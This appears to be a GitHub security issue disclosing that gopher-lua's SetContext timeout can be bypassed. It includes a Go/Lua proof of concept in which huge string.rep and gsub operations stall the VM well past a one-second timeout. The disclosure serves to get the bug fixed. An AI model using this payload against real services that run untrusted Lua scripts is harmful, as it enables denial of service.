`SetContext(context.WithTimeout(...))` potentially uneffective

Author: suidpitCreated Jan 8, 2025Updated Jan 8, 2025

Hi, during a security audit of a piece of software using gopher-lua as a third-party dependency, we have identified a bug on the implementation of the context with timeout that can be passed to a luaVM via SetContext.

In particular, this leads to potential snippets of code capable of stalling the VM even when a timeout is explicitly set. Since this has a potential security impact (Denial Of Service), we tried to contact the maintainer of the library privately (https://github.com/yuin/gopher-lua/discussions/507), but with no success.

We believe the issue lies in the fact that the context timeout, internally, is checked on every loop of the vm, therefore if a single operation is capable to stall the VM, the timeout will not be checked. This can happen, for instance, in case of heavy string-based operations.

This is a simple proof of concept:

go
package main

import (
	"context"
	"fmt"
	"time"

	lua "github.com/yuin/gopher-lua"
)

func main() {
	L := lua.NewState()
	defer L.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	L.SetContext(ctx)

	err := L.DoString(`
	    function test()
			-- Create a large string
		    local str = string.rep("a", 1000000)
			-- Attempt to perform a complex gsub operation
			result, err = pcall(function()
					return string.gsub(str, "a", function()
							return string.rep("b", 100)
					end)
			end)

			if not result then
					print("Gsub crashed: " .. tostring(err))
			else
					print("Gsub succeeded")
			end

			-- Attempt to create an even larger string
			result, err = pcall(function()
					return string.rep("a", 2^30)
			end)

			if not result then
					print("String creation crashed: " .. tostring(err))
			else
					print("String creation succeeded")
			end
        end
        test()
	`)

	if err != nil {
		fmt.Printf("Error executing Lua code: %v\n", err)
	}
}

The PoC was constructed by modifying the lua script used in the README example that shows how to setup the context with timeout. In our tests (both in Linux and macOS), this consistently hangs the VM for way longer than the set timeout (1 second).

The version used is the latest released (v.1.1.1).